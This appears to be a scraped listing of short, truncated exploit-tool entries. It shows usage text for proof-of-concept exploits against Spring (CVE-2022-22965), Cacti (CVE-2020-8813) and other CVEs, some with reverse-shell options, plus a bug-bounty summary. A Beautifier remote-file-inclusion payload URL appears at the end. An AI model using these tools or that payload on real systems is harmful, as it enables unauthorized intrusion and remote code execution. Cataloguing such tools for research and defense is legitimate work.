CVE-2022-22965

CVE-2022-22965 Poc&Exp, suporta varredura em lote Uso root@kitploit: -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w...

Cacti-CVE-2020-8813

Cacti-CVE-2020-8813 root@kitploit: Usage: cactirce.py options Options: -h, --help mostra esta mensagem de ajuda e sai -u URL, --url=URL Obrigatório URL alvo ex:. http://Cacti/ -l LHOST, --lhost=LHOST Obrigatório Endereço IP do atacante -p LPORT, --lport=LPORT Padrão 443 Porta IP do atacante...

CVE-2023-28343

CVE-2023-28343 Exploit PoC para CVE-2023-28343 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP addre...

CVE-2021-31630

CVE-2021-31630 Modificado o script PoC CVE-2021-31630 por Fellipe Oliveira para HTB Uso 'Exemplo de uso: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

Zendesk: "Test target" of the "HTTP target" extension can unintentionally send username and password in the Authorization header

Summary: In certain conditions, the HTTP target extension is sending the username and password of the authenticated user testing the target in the test request's Authorization header as base64 encoded i.e. HTTP basic auth. I have graded this as a medium due to some mitigating circumstances browse...

Beautifier 0.1 (Core.php) Remote File Include Vulnerability

No description provided by source. Beautifier v0.1 Remote File Inclusion Vulnerability Download: http://www.beautifier.org/php/beautifier-php-full-current.tar.gz Found By: the master exploit: http://Target/Path/Beautifier/Core.php?BEAUTPATH=http://cmd.gif? milw0rm.com 2006-09-06...